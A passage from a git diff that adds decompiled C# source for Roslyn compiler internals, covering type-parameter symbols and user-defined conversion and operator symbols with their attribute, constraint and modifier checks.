(enumerator.MoveNext()) + { + TypeParameterSyntax typeParameterSyntax = (TypeParameterSyntax)(object)enumerator.Current.GetSyntax(default(CancellationToken)); + instance.Add(typeParameterSyntax.AttributeLists); + } + if (ContainingSymbol is SourceOrdinaryMethodSymbol { IsPartial: not false, SourcePartialImplementation: { TypeParameters: var typeParameters } }) + { + SourceTypeParameterSymbolBase sourceTypeParameterSymbolBase = (SourceTypeParameterSymbolBase)typeParameters[_ordinal]; + instance.AddRange(sourceTypeParameterSymbolBase.MergedAttributeDeclarationSyntaxLists); + } + return instance.ToImmutableAndFree(); + } + } + + IAttributeTargetSymbol IAttributeTargetSymbol.AttributesOwner => this; + + AttributeLocation IAttributeTargetSymbol.DefaultAttributeLocation => AttributeLocation.TypeParameter; + + AttributeLocation IAttributeTargetSymbol.AllowedAttributeLocations => AttributeLocation.TypeParameter; + + protected abstract ImmutableArray ContainerTypeParameters { get; } + + protected SourceTypeParameterSymbolBase(string name, int ordinal, ImmutableArray locations, ImmutableArray syntaxRefs) + { + _name = name; + _ordinal = (short)ordinal; + _locations = locations; + _syntaxRefs = syntaxRefs; + } + + internal override ImmutableArray GetConstraintTypes(ConsList inProgress) + { + return GetBounds(inProgress)?.ConstraintTypes ?? ImmutableArray.Empty; + } + + internal override ImmutableArray GetInterfaces(ConsList inProgress) + { + return GetBounds(inProgress)?.Interfaces ?? ImmutableArray.Empty; + } + + internal override NamedTypeSymbol GetEffectiveBaseClass(ConsList inProgress) + { + TypeParameterBounds bounds = GetBounds(inProgress); + if (bounds == null) + { + return GetDefaultBaseType(); + } + return bounds.EffectiveBaseClass; + } + + internal override TypeSymbol GetDeducedBaseType(ConsList inProgress) + { + TypeParameterBounds bounds = GetBounds(inProgress); + if (bounds == null) + { + return GetDefaultBaseType(); + } + return bounds.DeducedBaseType; + } + + public sealed override ImmutableArray GetAttributes() + { + return GetAttributesBag().Attributes; + } + + internal virtual CustomAttributesBag GetAttributesBag() + { + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + if (_lazyCustomAttributesBag == null || !_lazyCustomAttributesBag.IsSealed) + { + bool flag = false; + if (!(ContainingSymbol is SourceOrdinaryMethodSymbol { SourcePartialDefinition: not null } sourceOrdinaryMethodSymbol)) + { + flag = LoadAndValidateAttributes(OneOrMany.Create>(MergedAttributeDeclarationSyntaxLists), ref _lazyCustomAttributesBag, AttributeLocation.None, earlyDecodingOnly: false, (ContainingSymbol as LocalFunctionSymbol)?.WithTypeParametersBinder); + } + else + { + CustomAttributesBag attributesBag = ((SourceTypeParameterSymbolBase)sourceOrdinaryMethodSymbol.SourcePartialDefinition.TypeParameters[_ordinal]).GetAttributesBag(); + flag = Interlocked.CompareExchange(ref _lazyCustomAttributesBag, attributesBag, null) == null; + } + if (flag) + { + _state.NotePartComplete(CompletionPart.Attributes); + } + } + return _lazyCustomAttributesBag; + } + + internal override void EnsureAllConstraintsAreResolved() + { + if (!_lazyBounds.IsSet()) + { + TypeParameterSymbol.EnsureAllConstraintsAreResolved(ContainerTypeParameters); + } + } + + private TypeParameterBounds GetBounds(ConsList inProgress) + { + if (!_lazyBounds.IsSet()) + { + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(); + TypeParameterBounds value = ResolveBounds(inProgress, instance); + if (Interlocked.CompareExchange(ref _lazyBounds, value, TypeParameterBounds.Unset) == TypeParameterBounds.Unset) + { + CheckConstraintTypeConstraints(instance); + CheckUnmanagedConstraint(instance); + EnsureAttributesFromConstraints(instance); + AddDeclarationDiagnostics(instance); + _state.NotePartComplete(CompletionPart.Members); + } + ((BindingDiagnosticBag)(object)instance).Free(); + } + return _lazyBounds; + } + + protected abstract TypeParameterBounds ResolveBounds(ConsList inProgress, BindingDiagnosticBag diagnostics); + + private void CheckConstraintTypeConstraints(BindingDiagnosticBag diagnostics) + { + ImmutableArray constraintTypesNoUseSiteDiagnostics = base.ConstraintTypesNoUseSiteDiagnostics; + if (constraintTypesNoUseSiteDiagnostics.Length == 0) + { + return; + } + ConstraintsHelper.CheckConstraintsArgsBoxed checkConstraintsArgsBoxed = ConstraintsHelper.CheckConstraintsArgsBoxed.Allocate(DeclaringCompilation, ContainingAssembly.CorLibrary.TypeConversions, _locations[0], diagnostics); + ImmutableArray.Enumerator enumerator = constraintTypesNoUseSiteDiagnostics.GetEnumerator(); + while (enumerator.MoveNext()) + { + TypeWithAnnotations current = enumerator.Current; + if (!diagnostics.ReportUseSite(current.Type, checkConstraintsArgsBoxed.Args.Location)) + { + current.Type.CheckAllConstraints(checkConstraintsArgsBoxed); + } + } + checkConstraintsArgsBoxed.Free(); + } + + private void CheckUnmanagedConstraint(BindingDiagnosticBag diagnostics) + { + if (HasUnmanagedTypeConstraint) + { + DeclaringCompilation.EnsureIsUnmanagedAttributeExists(diagnostics, ((SyntaxNode)this.GetNonNullSyntaxNode()).Location, ModifyCompilationForAttributeEmbedding()); + } + } + + private bool ModifyCompilationForAttributeEmbedding() + { + Symbol containingSymbol = ContainingSymbol; + if (!(containingSymbol is SourceOrdinaryMethodSymbol) && !(containingSymbol is SourceMemberContainerTypeSymbol)) + { + if (containingSymbol is LocalFunctionSymbol) + { + return false; + } + throw ExceptionUtilities.UnexpectedValue((object)ContainingSymbol); + } + return true; + } + + private void EnsureAttributesFromConstraints(BindingDiagnosticBag diagnostics) + { + if (DeclaringCompilation.ShouldEmitNativeIntegerAttributes() && base.ConstraintTypesNoUseSiteDiagnostics.Any((TypeWithAnnotations t) => t.ContainsNativeIntegerWrapperType())) + { + DeclaringCompilation.EnsureNativeIntegerAttributeExists(diagnostics, getLocation(), ModifyCompilationForAttributeEmbedding()); + } + if (ConstraintsNeedNullableAttribute()) + { + DeclaringCompilation.EnsureNullableAttributeExists(diagnostics, getLocation(), ModifyCompilationForAttributeEmbedding()); + } + Location getLocation() + { + return ((SyntaxNode)this.GetNonNullSyntaxNode()).Location; + } + } + + internal bool ConstraintsNeedNullableAttribute() + { + if (!DeclaringCompilation.ShouldEmitNullableAttributes(this)) + { + return false; + } + if (HasReferenceTypeConstraint && ReferenceTypeConstraintIsNullable.HasValue) + { + return true; + } + if (base.ConstraintTypesNoUseSiteDiagnostics.Any((TypeWithAnnotations c) => c.NeedsNullableAttribute())) + { + return true; + } + if (HasNotNullConstraint) + { + return true; + } + if (!HasReferenceTypeConstraint && !HasValueTypeConstraint && base.ConstraintTypesNoUseSiteDiagnostics.IsEmpty) + { + return IsNotNullable == false; + } + return false; + } + + private NamedTypeSymbol GetDefaultBaseType() + { + return ContainingAssembly.GetSpecialType((SpecialType)1); + } + + internal override void ForceComplete(SourceLocation locationOpt, CancellationToken cancellationToken) + { + while (true) + { + cancellationToken.ThrowIfCancellationRequested(); + CompletionPart nextIncompletePart = _state.NextIncompletePart; + switch (nextIncompletePart) + { + case CompletionPart.Attributes: + GetAttributes(); + break; + case CompletionPart.Members: + _ = base.ConstraintTypesNoUseSiteDiagnostics; + break; + case CompletionPart.None: + return; + default: + _state.NotePartComplete(CompletionPart.ImportsAll | CompletionPart.ReturnTypeAttributes | CompletionPart.Parameters | CompletionPart.Type | CompletionPart.StartInterfaces | CompletionPart.FinishInterfaces | CompletionPart.EnumUnderlyingType | CompletionPart.TypeArguments | CompletionPart.TypeParameters | CompletionPart.TypeMembers | CompletionPart.SynthesizedExplicitImplementations | CompletionPart.StartMemberChecks | CompletionPart.FinishMemberChecks | CompletionPart.MembersCompletedChecksStarted | CompletionPart.MembersCompleted); + break; + } + _state.SpinWaitComplete(nextIncompletePart, cancellationToken); + } + } + + internal override void AddSynthesizedAttributes(PEModuleBuilder moduleBuilder, ref ArrayBuilder attributes) + { + base.AddSynthesizedAttributes(moduleBuilder, ref attributes); + if (HasUnmanagedTypeConstraint) + { + Symbol.AddSynthesizedAttribute(ref attributes, moduleBuilder.SynthesizeIsUnmanagedAttribute(this)); + } + if (DeclaringCompilation.ShouldEmitNullableAttributes(this)) + { + Symbol.AddSynthesizedAttribute(ref attributes, moduleBuilder.SynthesizeNullableAttributeIfNecessary(GetNullableContextValue(), GetSynthesizedNullableAttributeValue())); + } + } + + internal byte GetSynthesizedNullableAttributeValue() + { + if (HasReferenceTypeConstraint) + { + bool? referenceTypeConstraintIsNullable = ReferenceTypeConstraintIsNullable; + if (referenceTypeConstraintIsNullable.HasValue) + { + if (referenceTypeConstraintIsNullable == true) + { + return 2; + } + return 1; + } + } + else + { + if (HasNotNullConstraint) + { + return 1; + } + if (!HasValueTypeConstraint && base.ConstraintTypesNoUseSiteDiagnostics.IsEmpty && IsNotNullable == false) + { + return 2; + } + } + return 0; + } + + protected sealed override void DecodeWellKnownAttributeImpl(ref DecodeWellKnownAttributeArguments arguments) + { + _ = arguments.Attribute; + ReportExplicitUseOfReservedAttributes(in arguments, ReservedAttributes.NullableAttribute); + base.DecodeWellKnownAttributeImpl(ref arguments); + } + + protected bool? CalculateReferenceTypeConstraintIsNullable(TypeParameterConstraintKind constraints) + { + if ((constraints & TypeParameterConstraintKind.ReferenceType) == 0) + { + return false; + } + return (constraints & TypeParameterConstraintKind.AllReferenceTypeKinds) switch + { + TypeParameterConstraintKind.NullableReferenceType => true, + TypeParameterConstraintKind.NotNullableReferenceType => false, + _ => null, + }; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceUserDefinedConversionSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceUserDefinedConversionSymbol.cs new file mode 100644 index 0000000..dfda95f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceUserDefinedConversionSymbol.cs @@ -0,0 +1,85 @@ +using System.Collections.Immutable; +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SourceUserDefinedConversionSymbol : SourceUserDefinedOperatorSymbolBase +{ + protected override Location ReturnTypeLocation => ((SyntaxNode)GetSyntax().Type).Location; + + internal override bool GenerateDebugInfo => true; + + public static SourceUserDefinedConversionSymbol CreateUserDefinedConversionSymbol(SourceMemberContainerTypeSymbol containingType, Binder bodyBinder, ConversionOperatorDeclarationSyntax syntax, bool isNullableAnalysisEnabled, BindingDiagnosticBag diagnostics) + { + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_0050: Unknown result type (might be due to invalid IL or missing references) + //IL_0055: Unknown result type (might be due to invalid IL or missing references) + Location location = ((SyntaxNode)syntax.Type).Location; + string text = OperatorFacts.OperatorNameFromDeclaration(syntax); + if (text == "op_CheckedExplicit") + { + MessageID.IDS_FeatureCheckedUserDefinedOperators.CheckFeatureAvailability(diagnostics, syntax.CheckedKeyword); + } + else if (syntax.CheckedKeyword.IsKind(SyntaxKind.CheckedKeyword)) + { + SyntaxToken checkedKeyword = syntax.CheckedKeyword; + diagnostics.Add(ErrorCode.ERR_ImplicitConversionOperatorCantBeChecked, ((SyntaxToken)(ref checkedKeyword)).GetLocation()); + } + ExplicitInterfaceSpecifierSyntax explicitInterfaceSpecifier = syntax.ExplicitInterfaceSpecifier; + text = ExplicitInterfaceHelpers.GetMemberNameAndInterfaceSymbol(bodyBinder, explicitInterfaceSpecifier, text, diagnostics, out var explicitInterfaceTypeOpt, out var _); + return new SourceUserDefinedConversionSymbol((MethodKind)((explicitInterfaceSpecifier == null) ? 2 : 8), containingType, explicitInterfaceTypeOpt, text, location, syntax, isNullableAnalysisEnabled, diagnostics); + } + + private SourceUserDefinedConversionSymbol(MethodKind methodKind, SourceMemberContainerTypeSymbol containingType, TypeSymbol explicitInterfaceType, string name, Location location, ConversionOperatorDeclarationSyntax syntax, bool isNullableAnalysisEnabled, BindingDiagnosticBag diagnostics) + : base(methodKind, explicitInterfaceType, name, containingType, location, syntax, SourceUserDefinedOperatorSymbolBase.MakeDeclarationModifiers(methodKind, containingType.IsInterface, syntax, location, diagnostics), syntax.HasAnyBody(), syntax.IsExpressionBodied(), SyntaxFacts.HasYieldOperations((SyntaxNode?)(object)syntax.Body), isNullableAnalysisEnabled, diagnostics) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + Symbol.CheckForBlockAndExpressionBody(syntax.Body, syntax.ExpressionBody, syntax, diagnostics); + if (syntax.ParameterList.Parameters.Count != 1) + { + diagnostics.Add(ErrorCode.ERR_OvlUnaryOperatorExpected, syntax.ParameterList.GetLocation()); + } + if (IsStatic && (IsAbstract || IsVirtual)) + { + CheckFeatureAvailabilityAndRuntimeSupport((SyntaxNode)(object)syntax, location, syntax.Body != null || syntax.ExpressionBody != null, diagnostics); + } + if (syntax.ExplicitInterfaceSpecifier != null) + { + MessageID.IDS_FeatureStaticAbstractMembersInInterfaces.CheckFeatureAvailability(diagnostics, (SyntaxNode)(object)syntax.ExplicitInterfaceSpecifier); + } + } + + internal ConversionOperatorDeclarationSyntax GetSyntax() + { + return (ConversionOperatorDeclarationSyntax)(object)syntaxReferenceOpt.GetSyntax(default(CancellationToken)); + } + + internal override ExecutableCodeBinder TryGetBodyBinder(BinderFactory binderFactoryOpt = null, bool ignoreAccessibility = false) + { + return TryGetBodyBinderFromSyntax(binderFactoryOpt, ignoreAccessibility); + } + + protected override int GetParameterCountFromSyntax() + { + return GetSyntax().ParameterList.ParameterCount; + } + + internal sealed override OneOrMany> GetAttributeDeclarations() + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return OneOrMany.Create>(GetSyntax().AttributeLists); + } + + protected override (TypeWithAnnotations ReturnType, ImmutableArray Parameters) MakeParametersAndBindReturnType(BindingDiagnosticBag diagnostics) + { + ConversionOperatorDeclarationSyntax syntax = GetSyntax(); + return MakeParametersAndBindReturnType(syntax, syntax.Type, diagnostics); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceUserDefinedOperatorSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceUserDefinedOperatorSymbol.cs new file mode 100644 index 0000000..fb6b99b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceUserDefinedOperatorSymbol.cs @@ -0,0 +1,93 @@ +using System.Collections.Immutable; +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SourceUserDefinedOperatorSymbol : SourceUserDefinedOperatorSymbolBase +{ + protected override Location ReturnTypeLocation => ((SyntaxNode)GetSyntax().ReturnType).Location; + + internal override bool GenerateDebugInfo => true; + + public static SourceUserDefinedOperatorSymbol CreateUserDefinedOperatorSymbol(SourceMemberContainerTypeSymbol containingType, Binder bodyBinder, OperatorDeclarationSyntax syntax, bool isNullableAnalysisEnabled, BindingDiagnosticBag diagnostics) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_009d: Unknown result type (might be due to invalid IL or missing references) + //IL_0060: Unknown result type (might be due to invalid IL or missing references) + //IL_0065: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken val = syntax.OperatorToken; + Location location = ((SyntaxToken)(ref val)).GetLocation(); + string text = OperatorFacts.OperatorNameFromDeclaration(syntax); + if (SyntaxFacts.IsCheckedOperator(text)) + { + MessageID.IDS_FeatureCheckedUserDefinedOperators.CheckFeatureAvailability(diagnostics, syntax.CheckedKeyword); + } + else + { + val = syntax.OperatorToken; + if (!((SyntaxToken)(ref val)).IsMissing && syntax.CheckedKeyword.IsKind(SyntaxKind.CheckedKeyword)) + { + val = syntax.CheckedKeyword; + diagnostics.Add(ErrorCode.ERR_OperatorCantBeChecked, ((SyntaxToken)(ref val)).GetLocation(), SyntaxFacts.GetText(SyntaxFacts.GetOperatorKind(text))); + } + } + if (text == "op_UnsignedRightShift") + { + MessageID.IDS_FeatureUnsignedRightShift.CheckFeatureAvailability(diagnostics, syntax.OperatorToken); + } + ExplicitInterfaceSpecifierSyntax explicitInterfaceSpecifier = syntax.ExplicitInterfaceSpecifier; + text = ExplicitInterfaceHelpers.GetMemberNameAndInterfaceSymbol(bodyBinder, explicitInterfaceSpecifier, text, diagnostics, out var explicitInterfaceTypeOpt, out var _); + return new SourceUserDefinedOperatorSymbol((MethodKind)((explicitInterfaceSpecifier == null) ? 9 : 8), containingType, explicitInterfaceTypeOpt, text, location, syntax, isNullableAnalysisEnabled, diagnostics); + } + + private SourceUserDefinedOperatorSymbol(MethodKind methodKind, SourceMemberContainerTypeSymbol containingType, TypeSymbol explicitInterfaceType, string name, Location location, OperatorDeclarationSyntax syntax, bool isNullableAnalysisEnabled, BindingDiagnosticBag diagnostics) + : base(methodKind, explicitInterfaceType, name, containingType, location, syntax, SourceUserDefinedOperatorSymbolBase.MakeDeclarationModifiers(methodKind, containingType.IsInterface, syntax, location, diagnostics), syntax.HasAnyBody(), syntax.IsExpressionBodied(), SyntaxFacts.HasYieldOperations((SyntaxNode?)(object)syntax.Body), isNullableAnalysisEnabled, diagnostics) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + Symbol.CheckForBlockAndExpressionBody(syntax.Body, syntax.ExpressionBody, syntax, diagnostics); + if (IsAbstract || IsVirtual || (name != "op_Equality" && name != "op_Inequality")) + { + CheckFeatureAvailabilityAndRuntimeSupport((SyntaxNode)(object)syntax, location, syntax.Body != null || syntax.ExpressionBody != null, diagnostics); + } + if (syntax.ExplicitInterfaceSpecifier != null) + { + MessageID.IDS_FeatureStaticAbstractMembersInInterfaces.CheckFeatureAvailability(diagnostics, (SyntaxNode)(object)syntax.ExplicitInterfaceSpecifier); + } + } + + internal OperatorDeclarationSyntax GetSyntax() + { + return (OperatorDeclarationSyntax)(object)syntaxReferenceOpt.GetSyntax(default(CancellationToken)); + } + + internal override ExecutableCodeBinder TryGetBodyBinder(BinderFactory binderFactoryOpt = null, bool ignoreAccessibility = false) + { + return TryGetBodyBinderFromSyntax(binderFactoryOpt, ignoreAccessibility); + } + + protected override int GetParameterCountFromSyntax() + { + return GetSyntax().ParameterList.ParameterCount; + } + + internal sealed override OneOrMany> GetAttributeDeclarations() + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return OneOrMany.Create>(GetSyntax().AttributeLists); + } + + protected override (TypeWithAnnotations ReturnType, ImmutableArray Parameters) MakeParametersAndBindReturnType(BindingDiagnosticBag diagnostics) + { + OperatorDeclarationSyntax syntax = GetSyntax(); + return MakeParametersAndBindReturnType(syntax, syntax.ReturnType, diagnostics); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceUserDefinedOperatorSymbolBase.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceUserDefinedOperatorSymbolBase.cs new file mode 100644 index 0000000..1461f70 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceUserDefinedOperatorSymbolBase.cs @@ -0,0 +1,625 @@ +using System; +using System.Collections.Immutable; +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal abstract class SourceUserDefinedOperatorSymbolBase : SourceOrdinaryMethodOrUserDefinedOperatorSymbol +{ + private const TypeCompareKind ComparisonForUserDefinedOperators = (TypeCompareKind)12; + + private readonly string _name; + + private readonly TypeSymbol? _explicitInterfaceType; + + protected sealed override TypeSymbol? ExplicitInterfaceType => _explicitInterfaceType; + + public sealed override string Name => _name; + + public sealed override bool IsExtensionMethod => false; + + public sealed override ImmutableArray TypeParameters => ImmutableArray.Empty; + + protected SourceUserDefinedOperatorSymbolBase(MethodKind methodKind, TypeSymbol explicitInterfaceType, string name, SourceMemberContainerTypeSymbol containingType, Location location, CSharpSyntaxNode syntax, DeclarationModifiers declarationModifiers, bool hasAnyBody, bool isExpressionBodied, bool isIterator, bool isNullableAnalysisEnabled, BindingDiagnosticBag diagnostics) + : base(containingType, syntax.GetReference(), location, isIterator, (declarationModifiers: declarationModifiers, flags: SourceMemberMethodSymbol.MakeFlags(methodKind, (RefKind)0, declarationModifiers, returnsVoid: false, returnsVoidIsSet: false, isExpressionBodied, isExtensionMethod: false, isNullableAnalysisEnabled, isVarArg: false, (int)methodKind == 8))) + { + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Invalid comparison between Unknown and I4 + //IL_0080: Unknown result type (might be due to invalid IL or missing references) + //IL_0085: Unknown result type (might be due to invalid IL or missing references) + //IL_0122: Unknown result type (might be due to invalid IL or missing references) + //IL_0128: Invalid comparison between Unknown and I4 + //IL_008e: Unknown result type (might be due to invalid IL or missing references) + //IL_019f: Unknown result type (might be due to invalid IL or missing references) + _explicitInterfaceType = explicitInterfaceType; + _name = name; + this.CheckUnsafeModifier(declarationModifiers, diagnostics); + bool flag = ContainingType.IsInterface && !IsAbstract && !IsVirtual && !IsExplicitInterfaceImplementation; + if (flag) + { + SyntaxToken operatorToken = default(SyntaxToken); + int num; + if (syntax is OperatorDeclarationSyntax operatorDeclarationSyntax) + { + operatorToken = operatorDeclarationSyntax.OperatorToken; + num = 1; + } + else + { + num = 0; + } + bool flag2 = (byte)num != 0; + if (flag2) + { + SyntaxKind syntaxKind = operatorToken.Kind(); + flag2 = syntaxKind - 8267 > SyntaxKind.List; + } + flag = !flag2; + } + if (flag) + { + diagnostics.Add(ErrorCode.ERR_InterfacesCantContainConversionOrEqualityOperators, GetFirstLocation()); + return; + } + if (ContainingType.IsStatic) + { + diagnostics.Add(ErrorCode.ERR_OperatorInStaticClass, location, this); + return; + } + if (IsExplicitInterfaceImplementation) + { + if (!IsStatic) + { + diagnostics.Add(ErrorCode.ERR_ExplicitImplementationOfOperatorsMustBeStatic, GetFirstLocation(), this); + } + } + else if ((int)DeclaredAccessibility != 6 || !IsStatic) + { + diagnostics.Add(ErrorCode.ERR_OperatorsMustBeStatic, GetFirstLocation(), this); + } + if (IsAbstract && IsExtern) + { + diagnostics.Add(ErrorCode.ERR_AbstractAndExtern, location, this); + } + else if (IsAbstract && IsVirtual) + { + diagnostics.Add(ErrorCode.ERR_AbstractNotVirtual, location, Kind.Localize(), this); + } + else if (hasAnyBody && (IsExtern || IsAbstract)) + { + if (IsExtern) + { + diagnostics.Add(ErrorCode.ERR_ExternHasBody, location, this); + } + else + { + diagnostics.Add(ErrorCode.ERR_AbstractHasBody, location, this); + } + } + else if (!hasAnyBody && !IsExtern && !IsAbstract && !base.IsPartial) + { + diagnostics.Add(ErrorCode.ERR_ConcreteMissingBody, location, this); + } + ModifierUtils.CheckAccessibility(DeclarationModifiers, this, isExplicitInterfaceImplementation: false, diagnostics, location); + } + + protected static DeclarationModifiers MakeDeclarationModifiers(MethodKind methodKind, bool inInterface, BaseMethodDeclarationSyntax syntax, Location location, BindingDiagnosticBag diagnostics) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Invalid comparison between Unknown and I4 + //IL_0087: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + //IL_0050: Unknown result type (might be due to invalid IL or missing references) + //IL_0162: Unknown result type (might be due to invalid IL or missing references) + //IL_0167: Unknown result type (might be due to invalid IL or missing references) + //IL_0176: Unknown result type (might be due to invalid IL or missing references) + bool flag = (int)methodKind == 8; + DeclarationModifiers defaultAccess = ((inInterface && !flag) ? DeclarationModifiers.Public : DeclarationModifiers.Private); + DeclarationModifiers declarationModifiers = DeclarationModifiers.Static | DeclarationModifiers.Extern | DeclarationModifiers.Unsafe; + bool modifierErrors; + if (!flag) + { + declarationModifiers |= DeclarationModifiers.AccessibilityMask; + if (inInterface) + { + declarationModifiers |= DeclarationModifiers.Abstract | DeclarationModifiers.Virtual; + SyntaxToken operatorToken = default(SyntaxToken); + int num; + if (syntax is OperatorDeclarationSyntax operatorDeclarationSyntax) + { + operatorToken = operatorDeclarationSyntax.OperatorToken; + num = 1; + } + else + { + num = 0; + } + modifierErrors = (byte)num != 0; + if (modifierErrors) + { + SyntaxKind syntaxKind = operatorToken.Kind(); + bool flag2 = syntaxKind - 8267 <= SyntaxKind.List; + modifierErrors = !flag2; + } + if (modifierErrors) + { + declarationModifiers |= DeclarationModifiers.Sealed; + } + } + } + else if (inInterface) + { + declarationModifiers |= DeclarationModifiers.Abstract; + } + DeclarationModifiers declarationModifiers2 = ModifierUtils.MakeAndCheckNonTypeMemberModifiers(isOrdinaryMethod: false, inInterface, syntax.Modifiers, defaultAccess, declarationModifiers, location, diagnostics, out modifierErrors); + if (inInterface) + { + if ((declarationModifiers2 & (DeclarationModifiers.Abstract | DeclarationModifiers.Sealed | DeclarationModifiers.Virtual)) != DeclarationModifiers.None) + { + if ((declarationModifiers2 & DeclarationModifiers.Sealed) != DeclarationModifiers.None && (declarationModifiers2 & (DeclarationModifiers.Abstract | DeclarationModifiers.Virtual)) != DeclarationModifiers.None) + { + diagnostics.Add(ErrorCode.ERR_BadMemberFlag, location, ModifierUtils.ConvertSingleModifierToSyntaxText(DeclarationModifiers.Sealed)); + declarationModifiers2 = (DeclarationModifiers)((uint)declarationModifiers2 & 0xFFFFFFFDu); + } + LanguageVersion languageVersion = ((CSharpParseOptions)(object)location.SourceTree.Options).LanguageVersion; + LanguageVersion languageVersion2 = MessageID.IDS_FeatureStaticAbstractMembersInInterfaces.RequiredVersion(); + if (languageVersion < languageVersion2) + { + CSharpRequiredLanguageVersion requiredVersionArgument = new CSharpRequiredLanguageVersion(languageVersion2); + string availableVersionArgument = languageVersion.ToDisplayString(); + if ((declarationModifiers2 & DeclarationModifiers.Abstract) != DeclarationModifiers.None) + { + reportModifierIfPresent(declarationModifiers2, DeclarationModifiers.Abstract, location, diagnostics, requiredVersionArgument, availableVersionArgument); + } + else + { + reportModifierIfPresent(declarationModifiers2, DeclarationModifiers.Virtual, location, diagnostics, requiredVersionArgument, availableVersionArgument); + } + reportModifierIfPresent(declarationModifiers2, DeclarationModifiers.Sealed, location, diagnostics, requiredVersionArgument, availableVersionArgument); + } + declarationModifiers2 = (DeclarationModifiers)((uint)declarationModifiers2 & 0xFFFFFFFDu); + } + else + { + SyntaxToken operatorToken2 = default(SyntaxToken); + int num2; + if ((declarationModifiers2 & DeclarationModifiers.Static) != DeclarationModifiers.None) + { + if (syntax is OperatorDeclarationSyntax operatorDeclarationSyntax2) + { + operatorToken2 = operatorDeclarationSyntax2.OperatorToken; + num2 = 1; + } + else + { + num2 = 0; + } + } + else + { + num2 = 0; + } + modifierErrors = (byte)num2 != 0; + if (modifierErrors) + { + SyntaxKind syntaxKind = operatorToken2.Kind(); + bool flag2 = syntaxKind - 8267 <= SyntaxKind.List; + modifierErrors = !flag2; + } + if (modifierErrors) + { + Binder.CheckFeatureAvailability(location.SourceTree, MessageID.IDS_DefaultInterfaceImplementation, diagnostics, location); + } + } + } + if (flag && (declarationModifiers2 & DeclarationModifiers.Abstract) != DeclarationModifiers.None) + { + declarationModifiers2 |= DeclarationModifiers.Sealed; + } + return declarationModifiers2; + static void reportModifierIfPresent(DeclarationModifiers result, DeclarationModifiers errorModifier, Location location2, BindingDiagnosticBag bindingDiagnosticBag, CSharpRequiredLanguageVersion cSharpRequiredLanguageVersion, string text) + { + if ((result & errorModifier) != DeclarationModifiers.None) + { + bindingDiagnosticBag.Add(ErrorCode.ERR_InvalidModifierForLanguageVersion, location2, ModifierUtils.ConvertSingleModifierToSyntaxText(errorModifier), text, cSharpRequiredLanguageVersion); + } + } + } + + protected (TypeWithAnnotations ReturnType, ImmutableArray Parameters) MakeParametersAndBindReturnType(BaseMethodDeclarationSyntax declarationSyntax, TypeSyntax returnTypeSyntax, BindingDiagnosticBag diagnostics) + { + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + //IL_0060: Unknown result type (might be due to invalid IL or missing references) + //IL_006a: Expected O, but got Unknown + Binder binder = DeclaringCompilation.GetBinderFactory(declarationSyntax.SyntaxTree).GetBinder((SyntaxNode)(object)returnTypeSyntax, declarationSyntax, this).WithAdditionalFlags(BinderFlags.SuppressConstraintChecks); + ParameterListSyntax parameterList = declarationSyntax.ParameterList; + bool addRefReadOnlyModifier = IsVirtual || IsAbstract; + SyntaxToken arglistToken; + ImmutableArray item = ImmutableArrayExtensions.Cast(ParameterHelpers.MakeParameters(binder, this, parameterList, out arglistToken, diagnostics, allowRefOrOut: true, allowThis: false, addRefReadOnlyModifier)); + if (arglistToken.Kind() == SyntaxKind.ArgListKeyword) + { + diagnostics.Add(ErrorCode.ERR_IllegalVarArgs, (Location)new SourceLocation(ref arglistToken)); + } + TypeWithAnnotations item2 = binder.BindType(returnTypeSyntax, 